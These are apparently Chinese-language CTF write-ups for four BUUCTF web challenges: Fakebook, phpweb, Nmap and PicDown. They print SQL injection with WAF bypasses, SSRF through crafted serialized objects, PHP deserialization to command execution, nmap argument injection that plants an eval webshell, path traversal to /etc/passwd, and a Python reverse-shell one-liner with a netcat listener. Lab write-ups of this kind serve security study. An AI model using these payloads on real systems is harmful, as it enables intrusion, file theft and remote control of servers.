[网鼎杯 2018]Fakebook
题目环境:
一个登录注册界面——>看源码——>注册成功后登录,发现界面可能存在sql注入
web目录扫描:
python3 dirsearch.py -u "http://dfc6c965-4afa-47e5-8fdb-5cf20eeaa17b.node4.buuoj.cn:81" -e* -w db/ctf.txt
[外链图片转存中…(img-uYOdX9cb-1660793810028)]
/user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
一个UserInfo类,三个属性,get函数中存在ssrf,且没有过滤。
curl可用file协议,blog属性调用了get函数,所以这里使用file协议读取文件。file:///var/www/html/flag.php
解题思路:
注入点操作:
order by 判断出有4列
注入点
no
是数字型注入。union select 发现有waf,用/**/
或union all select
即可绕过。union /**/ select.回显位置是第二位
-
数据库名:fakebook
-
表名:users
-
列名:data
-
发现是序列化的数据,可知对我们注册的姓名,年龄,博客地址进行了序列化
- 错误信息中:/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中
然后我们开始查数据库和数据库信息
?no=-1 union/**/select 1,database(),3,4--+
//数据库名
?no=-1 union/**/select 1,user(),3,4--+
//数据库信息
法一:
发现居然是root权限,那我们知道有一个*load_file()*函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
得到:
?php
$flag = "flag{cd0c8a4e-a5fd-47de-837c-ce9f53ced396}";
exit(0);
</td
法二:
我们接着爆数据库表:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
table_schema='fakebook'--+
这样也可以
获得一张users表
然后爆字段名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
爆值
?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users--+
1aacf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3eO:8:"UserInfo":3:{s:4:"name";s:2:"aa";s:3:"age";i:22;s:4:"blog";s:5:"1.com";}
是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。
在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动
Payload:
<?php
class Userinfo
{
public $name = "admin";
public $age = 19;
public $blog = "file:///var/www/html/flag.php";
}
$data = new Userinfo();
echo serialize($data);
?>
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
然后构造payload:
?no=-1 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
然后我们查看源码,发现读出来的数据,base64解密获得flag
总结
- 没有明显的思路时可以先试下robots.txt,顺便扫描下目录
union select
被过滤可以使用:union all select
、union/**/select
- 当前网站访问其他网站时可能会存在
ssrf
- 当sql用户为
root权限
时,*load_file()*函数可以利用绝对路径去加载一个文件 - sql语句使用
参考:
[网鼎杯 2020 朱雀组]phpweb
考点
RCE,assert(),命名空间绕过,call_user_func()
法一:
函数把整个文件读入一个字符串中,
func=file_get_contents&p=index.php
动态调试函数assert()
Paload1;
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
}
}
$func = new Test();
$p = 1;
$func->func='assert';
$func->p='eval($_POST[a]);';
echo(serialize($func));
?>
O:4:"Test":2:{s:1:"p";s:16:"eval($_POST[a]);";s:4:"func";s:6:"assert";}
Paload1.1:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:16:"eval($_POST[a]);";s:4:"func";s:6:"assert";} &a=system('ls /');
but:可以执行
简介操作:
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
Payload2:
<?php
class Test {
//var $p = "ls";//第一步时使用
var $p = "cat $(find / -name flag*)";
var $func = "system";
function __destruct() {
}
}
$a=new Test();
echo serialize($a);
?>
finally payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
法二:命名空间绕过
func=\system&p=ls /
和上面的
assert()
结果相同
func=\system&p=cat $(find / -name flag*)
是可以的嘿嘿😊
参考
[网鼎杯 2020 朱雀组]Nmap
总结
考点:
nmap命令使用:
nmap -oG 写入文件
、-iL读取扫描文件
、-o
读取任意文件
escapeshellarg()
绕过:通过在端口命令后使用'
闭合命令,达到命令逃逸的目的
详细过程
法一
输入的参数经过了
escapeshellarg()
,escapeshellcmd()
两个函数的过滤可通过添加单引号'来过滤
payload
127.0.0.1' -iL /flag -o haha
- -iL 读取文件内容,以文件内容作为搜索目标
- -o 输出到文件
- 举例
nmap -iL ip_target.txt -o result.txt
扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt
- 仍报错,但可以读取haha文件
这里要注意
- 参数因为经过了escapeshellcmd函数,被包裹上了引号,所以我们实际输出结果是输出到了haha’文件中,多了一个引号,在这里也可以看到。
127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -、oG hack.phtml'
直接访问hahaA就可以得到flag
法二:
解法:将nmap扫描结果写入文件时加入一句话木马,需要绕过
escapeshellarg()
函数
Payload:
127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml
查看写入的文件,即访问
hack.phtml
,检查是否写入成功:
写入成功,蚁剑连接即可:
- 这里蚁剑连接失败了,不知道为什么
法三
可以使用
-iL
参数实现Nmap读取任意文件:
127.0.0.1' -iL ../../../../flag -o 1
返回
Host maybe down
[外链图片转存中…(img-0QHLixjW-1660793810031)]
尝试访问1'
——>成功拿到flag
参考:
[(12条消息) BUUCTF 网鼎杯 2020 朱雀组] Nmap_Senimo
PHP escapeshellarg()+escapeshellcmd()
[网鼎杯 2020 白虎组]PicDown
详细过程
非预期解:
文件包含:
../../../../etc/passwd
有回显,继续尝试
../../../../flag
- 非预期解
预期解
/proc/self/cmdline
来查看当前进程的执行命令得到app.py
from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件,文件描述符为f SECRET_KEY = f.read().strip() # 读取secret.txt文件,并将内容赋给SECRET_KEY os.remove(SECRET_FILE) @app.route('/') def index(): return render_template('search.html') # 访问/根目录是渲染search.html @app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) # 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。 value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!"search.html return render_template('search.html', res=value) # 将value(url获取的内容)渲染到search.html页面 @app.route('/no_one_know_the_manager') def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) # 这里如果key=SECRET_KEY,那么就从URL中获取shell参数并用system函数(无回显)执行。 res = "ok" else: res = "Wrong Key!" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
Linux当中,文件只要没有关闭,就会读取到内存当中,就算是remove也是一样,打开的文件存在
/proc/[pid]/fd
路径下,这个路径下有很多以数字保存的文件,例如/proc/self/fd/1
这样
/proc/[pid]/fd
得到key后shell=ls无法得到flag
反弹shelll
Python脚本
/no_one_know_the_manager?key=*****=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
在kali中监听端口
nc -lvvp port
参考
[网鼎杯 2020 白虎组PicDown ](https://fanygit.github.io/2021/08/22/[网鼎杯 2020 白虎组]PicDown 1/)